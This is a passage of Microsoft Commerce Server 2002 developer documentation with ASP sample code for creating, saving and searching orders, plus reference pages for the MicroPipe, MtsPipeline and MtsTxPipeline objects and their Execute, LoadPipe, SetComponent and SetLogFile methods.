[out, retval] When getting the property, a VARIANT used to return the user organization name to search for.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The user_org_name parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SimpleFindSearchInfo Object

[C++] OrderGroupManager::SimpleDelete

[C++] OrderGroupManager::SimpleFind

[Visual Basic] SimpleFindSearchInfo Object

[Visual Basic] OrderGroupManager.SimpleDelete

[Visual Basic] OrderGroupManager.SimpleFind


Example Code for Order Processing Objects

This section provides examples of how to use business process objects. The code samples in this section are written as Active Server Pages (ASP) pages; they do not show extensive error checking or certain other formalities required for functional code.

Examples

Example | Description
Code to Create an Order | Describes how to create an order, instantiating and initializing the required objects.
Code to Add Address and Line Item Information to an Order | Describes how to create line items in an order and view the contents of the order.
Code to Save an Order to the Database | Describes how to save an order with a Template status to the database.
Code to Search for an Order and Display Line Item Information | Describes how to search the database for an order by using the SimpleFindSearchInfo and SimpleFindResultInfo objects.


Code to Create an Order

The following Active Server Pages (ASP) code creates an OrderForm object, an OrderGroup object, and an OrderGroupManager object. All of these objects are required in order to manipulate orders. Many of the default fields are not added to the Orderform object until the pipeline has been run, thus the order form that this code creates is an empty order form.

  1. Create the OrderGroupManager, OrderGroup, and OrderForm objects.
    Dim oOrderForm, oOrderGroup, oOGMgr, sUserID
Set oOrderForm = Server.CreateObject("Commerce.OrderForm")
Set oOrderGroup = Server.CreateObject("Commerce.OrderGroup")
Set oOGMgr = Server.CreateObject("Commerce.OrderGroupManager")
  2. Initialize the OrderGroup and OrderGroupManager objects. Note that in the following example, the connection strings have been formatted for better display.
    sUserID = "AAAABB4C-C33E-11D0-B8A0-A0C04FB616C7"

oOrderGroup.Initialize "Provider=SQLOLEDB.1;
                                      Integrated Security='SSPI';
                              InitialCatalog=""Retail_commerce"";
                                            DataSource=TESTMACH2;
                                       Network Library=dbmssocn",
                                                          sUserID

oOGMgr.Initialize "Provider=SQLOLEDB.1;
                                 Integrated Security='SSPI';
                         InitialCatalog=""Retail_commerce"";
                                       DataSource=TESTMACH2;
                                   Network Library=dbmssocn"


Code to Add Address and Line Item Information to an Order

The OrderGroup object links to one or more OrderForm objects, and to one or more Address dictionaries. The OrderForm object references zero or more Item dictionaries through the Items list.

  1. Create the Addresses dictionary object.
    Set oOrderForm.Addresses = Server.CreateObject("Commerce.Dictionary")
  2. Create two addresses, and add them to the order form.
    Set oOrderForm.Addresses.HomeSweetHome = _
    Server.CreateObject("Commerce.Dictionary")
oOrderForm.Addresses.HomeSweetHome.ship_to_state = "WA"
oOrderForm.Addresses.HomeSweetHome.ship_to_country = "USA"

Set oOrderForm.Addresses.HomeInTheRockies = _
    Server.CreateObject("Commerce.Dictionary")
oOrderForm.Addresses.HomeInTheRockies.ship_to_state = "WY"
oOrderForm.Addresses.HomeInTheRockies.ship_to_country = "USA"
  3. Create the order form items SimpleList object. Add four line item dictionaries to the SimpleList object, providing line item information for several dictionary elements.
    Set oOrderForm.Items = Server.CreateObject("Commerce.SimpleList")

Call oOrderForm.Items.Add( Server.CreateObject("Commerce.Dictionary"))
oOrderForm.Items(0).shipping_address_id = "test_ship_add_id1"
oOrderForm.Items(0).tax_id = "test_tax_id_string"
oOrderForm.Items(0).Value("_cy_oadjust_adjustedprice") = 100
oOrderForm.Items(0).Value("quantity") = 1

Call oOrderForm.Items.Add( Server.CreateObject("Commerce.Dictionary"))
oOrderForm.Items(1).shipping_address_id = "test_ship_add_id2"
oOrderForm.Items(1).tax_id = "test_tax_id_string2"
oOrderForm.Items(1).Value("_cy_oadjust_adjustedprice") = 200
oOrderForm.Items(1).Value("quantity") = 1

Call oOrderForm.Items.Add( Server.CreateObject("Commerce.Dictionary"))
oOrderForm.Items(2).shipping_address_id = "test_ship_add_id3"
oOrderForm.Items(2).tax_id = "test_tax_id_string3"
oOrderForm.Items(2).Value("_cy_oadjust_adjustedprice") = 100
oOrderForm.Items(2).Value("quantity") = 1

Call oOrderForm.Items.Add( Server.CreateObject("Commerce.Dictionary"))
oOrderForm.Items(3).shipping_address_id = "ship_add_id4"
oOrderForm.Items(3).tax_id = "test_tax_id_string4"
oOrderForm.Items(3).Value("_cy_oadjust_adjustedprice") = 300
oOrderForm.Items(3).Value("quantity") = 1
  4. Add the OrderForm object to the OrderGroup object.
    oOrderGroup.AddOrderform oOrderForm
  5. View the contents of one of the previously created items.
    Dim Item, itemVal
Set Item = oOrderGroup.GetItemInfo(1)
itemVal = Item.Value("_cy_oadjust_adjustedprice")
If Item.Value("_cy_oadjust_adjustedprice") <> 100 Then
    Response.Write "error in _cy_oadjust_adjustedprice"
Else
    Response.Write "correct _cy_oadjust_adjustedprice:" _
                   & itemVal & "<br>"
End If


Code to Save an Order to the Database

An order can be saved with the status of Basket, Order, Template, or a custom status. In this example, the order is saved to the database with a Template (Saved Order) status. The OrderGroup object is set to Nothing, in order to reuse the variable later in other examples.

This example code requires that you have already created the order and added items to it. For more information about creating an order, see Code to Create an Order. For more information about adding items to the order, see Code to Add Address and Line Item Information to an Order.

Dim ReqID
ReqID = oOrderGroup.SaveAsTemplate()
' Set object to Nothing in order to re-use
Set oOrderGroup = Nothing


Code to Search for an Order and Display Line Item Information

After an order has been saved to the database, you can search for it based on a variety of criteria. In this example, the OrderGroupID will serve as the basis for the search.

This example code requires that you have already saved the order to the database as a template as is described in Code to Save an Order to the Database. Note that in the following example, the connection strings have been formatted for better display.

  1. Create and initialize the OrderGroup object.
    Dim oOrderGroup
Set oOrderGroup = Server.CreateObject("Commerce.OrderGroup")
oOrderGroup.Initialize "Provider=SQLOLEDB.1;
                                      Integrated Security='SSPI';
                             Initial Catalog=""Retail_commerce"";
                                            DataSource=TESTMACH2;
                                       Network Library=dbmssocn",
                                                          sUserID
  2. Create the SimpleFindSearchInfo object and set it to search for a known OrderGroupID.
    Dim oSFSearch, sReqID
Set oSFSearch = Server.CreateObject("Commerce.SimpleFindSearchInfo")
sReqID ="754C40C6-EAA9-454C-A8AB-02789FBE0FB9"
oSFSearch.ordergroup_id = sReqID
  3. Create the SimpleFindResultInfo object and set it to return data from the OrderGroup, OrderFormHeader, and OrderFormLineItems tables. Setting the JoinLineItemInfo property to True will cause the returned result set to include data from the OrderFormLineItems table. Setting the JoinOrderFormInfo property to True will cause the returned result set to include data from the OrderFormHeader table.
    Dim oSFResult
Set osfResult =Server.CreateObject("Commerce.SimpleFindResultInfo")
oSFResult.JoinLineItemInfo = True
oSFResult.JoinOrderFormInfo = True
  4. Create a recordset to hold the search results.
    Dim oRSResults
Set oRSResults=Server.CreateObject("ADODB.Recordset")
  5. Execute the search using the OrderGroupManager.SimpleFind method. The parameters for this method are the SimpleFindSearchInfo and SimpleFindResultInfo objects. Write the success status of the search to the screen.
    Set oRSResults= oOGMgr.SimpleFind(oSFSearch, oSFResult)
If err.number <> 0 Then
    Response.Write "Search error"
Else
    Response.Write "Successful Search" & "<br>"
End If
  6. Iterate through the recordset, writing the OrderGroupID and the quantity ordered for each line item to the screen.
    While Not oRSResults.EOF
    vtDisplay = "OrderGroup ID = " & oRSResults("ordergroup_id") _
                & "<br>"
    Response.Write vtDisplay
    vtDisplay = "Quantity = " & oRSResults("quantity") _
                & "<br>" & "<br>"
    Response.Write vtDisplay
    oRSResults.MoveNext
WEnd


Pipeline Objects

Pipeline objects use pipeline configuration files to run a series of pipeline components. This section provides code samples showing how to use pipeline objects and pipeline components.

The Pipeline Programming Concepts topic describes what a pipeline is, the sequence of events in a pipeline, and how pipelines can be customized.

Objects

Visual Basic Reference | C++ Invocation | Description
MicroPipe | MicroPipe | Runs a single pipeline component from an ASP page without using a pipeline configuration file (.pcf).
MtsPipeline | MtsPipeline | Executes a non-transacted Microsoft Commerce Server 2002 pipeline.
MtsTxPipeline | MtsTxPipeline | Executes a transacted Microsoft Commerce Server 2002 pipeline.
OrderPipeline | OrderPipeline | Runs a Microsoft Commerce Server 2002 pipeline, and is particularly useful in the Content Selection Framework.
PooledPipeline | PooledPipeline | Executes a non-transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.
PooledTxPipeline | PooledTxPipeline | Executes a transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.

Examples

Example | Description
Code to Invoke a Single Pipeline Component | Describes how to use the Micropipe object to run a single component.
Code to Invoke a Pipeline | Provides sample code to set up the objects and dictionaries necessary to run a pipeline.


Pipeline Programming Concepts

A pipeline is an extensible software framework that defines and links together one or more stages of a business process, running them in sequence to complete a specific task. The functionality of a pipeline is based on three parts: pipeline components, pipeline configuration files, and pipeline framework objects. Pipeline components each complete a defined work item on the data and collectively process the order. Pipeline configuration files define the sequence in which the pipeline components are run. Pipeline framework objects invoke pipeline configuration files and pipeline components through the code on select Active Server Pages (ASP).

Pipeline Components

Pipeline Configuration Files

Pipeline Objects

Pipeline Components

Pipeline components are COM objects that perform a particular task and operate on business objects, such as an OrderForm or Dictionary object. Pipeline components may be customized and added to pipeline configuration files through the Pipeline Editor. Pipeline components can also be used independently of the Pipeline Editor and integrated into your existing system, or they can be replaced by third-party components.

Pipeline Configuration Files

Pipeline configuration files (.pcf) determine the order in which pipeline components are run and may provide configuration information to the components in the pipeline. Pipeline configuration files can be created and edited in the Pipeline Editor by opening a pipeline configuration template and saving it as a pipeline configuration file.

Pipeline configuration files are broken into two main categories: Order Processing pipelines (OPP) and Content Selection pipelines (CSP). Order Processing pipelines model the workflow for processing an order, breaking it down into discrete tasks. Content Selection pipelines are responsible for targeted content delivery of ads and discounts. In addition to OPPs and CSPs, there is one other type of pipeline, the Direct Mailer pipeline, used only by the Direct Mailer service. The following table shows the configuration files and templates that may be used for each of the pipeline categories. The file names listed in bold are included in the Commerce Server 2002 Solution Sites.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

Pipeline Category | Corresponding Pipeline Configuration Files | Corresponding Pipeline Configuration Templates
Order Processing pipeline | basket.pcf checkout.pcf product.pcf recvpo.pcf total.pcf | EventProcessing.pct Plan.pct Product.pct Purchase.pct
Content Selection pipeline | Advertising.pcf Discounts.pcf RecordEvent.pcf | ContentSelection.pct
Direct Mailer pipeline | DMLPipe.pcf | None

Pipeline Objects

Pipeline objects are COM objects that are responsible for running pipeline configuration files. The six pipeline objects are: MtsPipeline, MtsTxPipeline, PooledPipeline, PooledTxPipeline, OrderGroup, and OrderPipeline. For more information about how to use pipeline objects in your code, see Programmers Reference or Code to Invoke a Pipeline.


MicroPipe Object [C++]

MicroPipe Object [Visual Basic]

Use this object to run a single pipeline component from an Active Server Page (ASP) file without using a pipeline configuration file (.pcf).

ProgID: | Commerce.MicroPipe (Externally creatable)
COM Class Name: | CMicroPipeline
Type Library Name: | Microsoft Commerce 2002 MicroPipe Type Library
DLL Name: | micropipe.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMicroPipeline
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the IMicroPipeline interface to access the properties and methods of the MicroPipe object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Runs the component indicated in the SetComponent method.
SetComponent | Indicates the pipeline component to load and execute.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the component indicated in the SetComponent method.
SetComponent | Indicates the pipeline component to load and execute.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MicroPipe object does not explicitly use Microsoft Transaction Server (MTS). To use transactions, mark the page as transacted or use the standard MtsTxPipline object. Distributed transactions have no meaning in the MicroPipe object because the object contains a single component.

Many pipeline components use configuration information in addition to the Context and Order dictionaries. Two common ways of passing this information to the component are:

  • To create a dictionary and pass the dictionary to the component.
  • To set individual or multiple properties directly.

The first method applies only to pipeline components that implement the IPipelineComponentAdmin interface. The second is common for components written in Microsoft Visual Basic, which usually do not implement the IPipelineComponentAdmin interface.

The MicroPipe object is not available through the Common Language Runtime Interop Layer or the Base Class Library for use within the Commerce Server .NET Application Framework. In the Commerce Server .NET Application Framework, you can execute pipeline components directly using the runtime callable wrappers in the Microsoft.CommerceServer.Interop.Targeting.PipelineComponents and Microsoft.CommerceServer.Interop.Orders.PipelineComponents namespaces.

See Also

Pipeline Objects


IMicroPipeline Methods [C++]

MicroPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Runs the component indicated in the SetComponent method.
SetComponent | Indicates the pipeline component to load and execute.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the component indicated in the SetComponent method.
SetComponent | Indicates the pipeline component to load and execute.
SetLogFile | Identifies the file in which to log pipeline events.


IMicroPipeline::Execute Method [C++]

MicroPipe.Execute Method [Visual Basic]

Use this method to run the pipeline component specified by the SetComponent method.

Definition

[C++]
HRESULT IMicroPipeline::Execute(
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

pdispOrder [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Dictionary object is the Order dictionary that the pipeline component will run.
pdispOrder [Visual Basic]
A reference to a Dictionary object, usually an OrderForm object. The Order dictionary for the pipeline component to be run.
pdispContext [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Context dictionary for the pipeline component to be run.
pdispContext [Visual Basic]
A reference to a Dictionary object. The Context dictionary for the pipeline component to be run.
lFlags [C++]
[in] A long integer. Reserved for future use. Must be set to zero (0).
lFlags [Visual Basic]
A Long integer. Reserved for future use. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to a long that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long integer indicating whether there were warnings or errors detected by the component. See the Error Values section for more details.

Error Values

[C++] This method returns the message S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline component ran successfully.
2 | Warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. The pipeline component failed to run.

Remarks

[Visual Basic]

After the script has used the MicroPipe object, it should release the object by assigning Nothing to the object reference.

For more information about programming with pipeline objects, including code samples, see Pipeline Objects.

[C++]

The pErrorLevel parameter points to valid data only if the method completes successfully.

Be sure to release the IMicroPipeline interface when finished.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMicroPipeline is a Commerce.MicroPipeline object
' dOrder and dContext are Commerce.Dictionary objects

errVal = pMicropipeline.Execute(dOrder, dContext, 0)

See Also

[C++] MicroPipe Object

[Visual Basic] MicroPipe Object

[C++] IMicroPipeline::SetComponent

[Visual Basic] MicroPipe.SetComponent

[C++] IMicroPipeline::SetLogFile

[Visual Basic] MicroPipe.SetLogFile


IMicroPipeline::SetComponent Method [C++]

MicroPipe.SetComponent Method [Visual Basic]

Use this method to specify the pipeline component to run.

Definition

[C++]
HRESULT IMicroPipeline::SetComponent(
  IDispatch* pdispComponent
);
[Visual Basic]
Sub SetComponent(
  pdispComponent As Object
)

Parameters

pdispComponent [C++]
[in] A pointer to the IDispatch interface of the pipeline component to be run.
pdispComponent [Visual Basic]
A reference to the pipeline component to be run.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A single MicroPipe object can be used to execute multiple components. Calling the SetComponent method on the MicroPipe object after setting and executing a different component earlier is permitted. In this case, the MicroPipe object releases the earlier component and sets up the new component in its place.

For more information about programming with pipeline objects, including code samples, see Pipeline Objects.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMicroPipeline is a Commerce.MicroPipeline object
' oCompPipe is an object that references the pipeline component
' to be run.

pMicropipeline.SetComponent(oCompPipe)

See Also

[C++] MicroPipe Object

[Visual Basic] MicroPipe Object

[C++] IMicroPipeline::Execute

[Visual Basic] MicroPipe.Execute

[C++] IMicroPipeline::SetLogFile

[Visual Basic] MicroPipe.SetLogFile


IMicroPipeline::SetLogFile Method [C++]

MicroPipe.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Definition

[C++]
HRESULT IMicroPipeline::SetLogFile(
  BSTR bstrFileName
);
[Visual Basic]
Sub SetLogFile(
  bstrFileName As String
)

Parameters

bstrFileName [C++]
[in] A BSTR containing the file name for logging.
bstrFileName [Visual Basic]
A String containing the file name for logging.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

With logging, the MicroPipe object logs all of the read and write operations of the Dictionary and SimpleList objects. Errors are also recorded in the log. Because of the overhead involved, logging should be used only for debugging and should not be used in a production site.

The SetLogFile method should be called immediately before executing a pipeline. The SetLogFile method is exposed on the OrderGroup object as the LogFile property and should be called again before calling the RunPipe method.

For more information about programming with pipeline objects, including code samples, see Pipeline Objects.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMicroPipeline is a Commerce.MicroPipeline object

pMicroPipeline.SetLogFile("MicroPipeLog.txt")

See Also

[C++] MicroPipe Object

[Visual Basic] MicroPipe Object

[C++] IMicroPipeline::Execute

[Visual Basic] MicroPipe.Execute

[C++] IMicroPipeline::SetComponent

[Visual Basic] MicroPipe.SetComponent


MtsPipeline Object [C++]

MtsPipeline Object [Visual Basic]

Use this object to run a non-transacted Microsoft Commerce Server 2002 pipeline. The pipeline may be an Order Processing pipeline (OPP).

ProgID: | Commerce.MtsPipeline (Externally creatable)
COM Class Name: | CMtsPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | IPipeline
Interface ID Constant: | IID_IPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IPipeline interface to access the properties and methods of the MtsPipeline object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MtsPipeline object is registered under Microsoft Transaction Server (MTS) as "transactions not supported." Use this pipeline where transactions are not needed. For more information about transactions and pipelines, see Pipeline Basics.

The MtsPipeline is usually created on each page in which it is used.

The MtsPipeline is not a pooled pipeline. For more information about pooled pipelines, see About Pooled Pipelines.


IPipeline Methods [C++]

MtsPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.


IPipeline::Execute Method [C++]

MtsPipeline.Execute Method [Visual Basic]

Use this method to run the stages in the pipeline configuration file, which was previously specified by the LoadPipe method.

Definition

[C++]
HRESULT IPipeline::Execute(
  long lMode,
  IDispatch* pdispOrder,
  IDispatch* pdispContext,
  long lFlags,
  long* pErrorLevel
);
[Visual Basic]
Function Execute(
  lMode As Long,
  pdispOrder As Object,
  pdispContext As Object,
  lFlags As Long
) As Long

Parameters

lMode [C++]
[in] A long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2000 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from running.
lMode [Visual Basic]
A Long indicating the mode in which to run the pipeline. This parameter is provided only for backward compatibility with Site Server 2.0 sites. For Commerce Server 2002 and later, use a value of one (1). A value of zero (0) will prevent the pipeline from running.
pdispOrder [C++]
[in] A pointer to the IDispatch interface of a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispOrder [Visual Basic]
A reference to a Dictionary object, usually an OrderForm object. The Order dictionary that will be used by the pipeline.
pdispContext [C++]
[in] A pointer to the IDispatch interface of a Dictionary object. The Context dictionary that will be used by the pipeline.
pdispContext [Visual Basic]
A reference to a Dictionary object. The Context dictionary that will be used by the pipeline.
lFlags [C++]
[in] An unused long integer parameter. Must be set to zero (0).
lFlags [Visual Basic]
An unused Long parameter. Must be set to zero (0).
pErrorLevel [C++]
[out,retval] A pointer to a long that returns the error level.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long indicating whether there were warnings or errors detected by components in the pipeline. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] In addition, the pErrorLevel parameter is set to one of the following three values:

[Visual Basic] In addition, the method returns one of the following three values:

Value | Description
1 | Success. The pipeline ran successfully.
2 | Warning. Generally, these are basket or user errors that would be reported to the user through the ASP page.
3+ | Failure. A pipeline component failed to run.

Remarks

[C++] The pErrorLevel parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsPipeline is a Commerce.MtsPipeline object.
' dOrder and dContext are Commerce.Dictionary objects.

errVal = pMtsPipelineExecute(1, dOrder, dContext, 0)

See Also

[C++] MtsPipeline Object

[Visual Basic] MtsPipeline Object

[C++] IPipeline::LoadPipe

[Visual Basic] MtsPipeline.LoadPipe

[C++] IPipeline::SetLogFile

[Visual Basic] MtsPipeline.SetLogFile

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object


IPipeline::LoadPipe Method [C++]

MtsPipeline.LoadPipe Method [Visual Basic]

Use this method to load a pipeline configuration file (.pcf) into the pipeline.

Definition

[C++]
HRESULT IPipeline::LoadPipe(
  BSTR pszFileName
);
[Visual Basic]
Sub LoadPipe(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the pipeline configuration file name.
pszFileName [Visual Basic]
A String containing the pipeline configuration file name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The LoadPipe method must be called to initialize all pipelines.

The LoadPipe method fails if you attempt to load a pipeline configuration file designated for transactions (for use in the MtsTxPipeline object).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsPipeline is a Commerce.MtsPipeline object.

errVal = pMtsPipeline.Load("CustomShip.pcf")

See Also

[C++] MtsPipeline Object

[Visual Basic] MtsPipeline Object

[C++] IPipeline::Execute

[Visual Basic] MtsPipeline.Execute

[C++] IPipeline::SetLogFile

[Visual Basic] MtsPipeline.SetLogFile

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object


IPipeline::SetLogFile Method [C++]

MtsPipeline.SetLogFile Method [Visual Basic]

Use this method to identify the file in which to log the operations of the pipeline component.

Definition

[C++]
HRESULT IPipeline::SetLogFile(
  BSTR pszFileName
);
[Visual Basic]
Sub SetLogFile(
  pszFileName As String
)

Parameters

pszFileName [C++]
[in] A BSTR containing the name of the file in which to log events.
pszFileName [Visual Basic]
A String containing the name of the file in which to log events.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is for use by developers who want to analyze pipeline configuration file information. Logging should never be used in a production environment—it degrades performance and may compromise the security of credit card numbers in non-set transactions.

When logging is set, the pipeline logs the pipeline components that are called and the error values each component returns. The pipeline also logs all Dictionary and SimpleList object read and write operations.

Calling the method with an empty string turns off logging.

The SetLogFile method should be called immediately before running a pipeline. The SetLogFile method is exposed on the OrderGroup object as the LogFile property and should be set before calling the RunPipe method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pMtsPipeline is a Commerce.MtsPipeline object.

errVal = pMtsPipeline.SetLogFile("CustomShipping.log")

' pOrderGroup is an OrderGroup object.

pOrderGroup.LogFile = "CustomShipping.log"

See Also

[C++] MtsPipeline Object

[Visual Basic] MtsPipeline Object

[C++] IPipeline::Execute

[Visual Basic] MtsPipeline.Execute

[C++] IPipeline::LoadPipe

[Visual Basic] MtsPipeline.LoadPipe

[C++] PooledPipeline Object

[Visual Basic] PooledPipeline Object


MtsTxPipeline Object [C++]

MtsTxPipeline Object [Visual Basic]

Use this object to run a transacted Microsoft Commerce Server 2002 pipeline configuration. The pipeline may be an Order Processing pipeline (OPP).

ProgID: | Commerce.MtsTxPipeline (Externally creatable)
COM Class Name: | CTxPipeline
Type Library Name: | Microsoft Commerce 2002 Order Pipeline Type Library
DLL Name: | pipeline.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | IPipeline
Interface ID Constant: | IID_IPipeline
Header File: | pipeline.h, mspu_guids.h
[C++]

In C++, use the IPipeline interface to access the properties and methods of the MtsTxPipeline object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.

Remarks

The MtsTxPipeline is usually created on each page in which it is used.

The MtsTxPipeline object is registered under Microsoft Transaction Server (MTS) as "transactions required." This object holds a transaction that spans all components in the pipeline configuration. For more information about transactions and pipelines, see Pipeline Basics.

When used with a database, the MtsTxPipeline object requires an ODBC-compliant database that supports MTS.

The Microsoft Distributed Transaction Coordinator (MSDTC) service must be running in order to use the MtsTxPipeline object.

To verify that the Distributed Transaction Coordinator service is running

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. Scroll to Distributed Transaction Coordinator and verify that the Status is Started.


IPipeline Methods [C++]

MtsTxPipeline Methods [Visual Basic]

Methods

[C++]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
SetLogFile | Identifies the file in which to log pipeline events.
[Visual Basic]
Method | Description
Execute | Runs the components in the pipeline.
LoadPipe | Loads a pipeline configuration file (.pcf) into the pipeline.
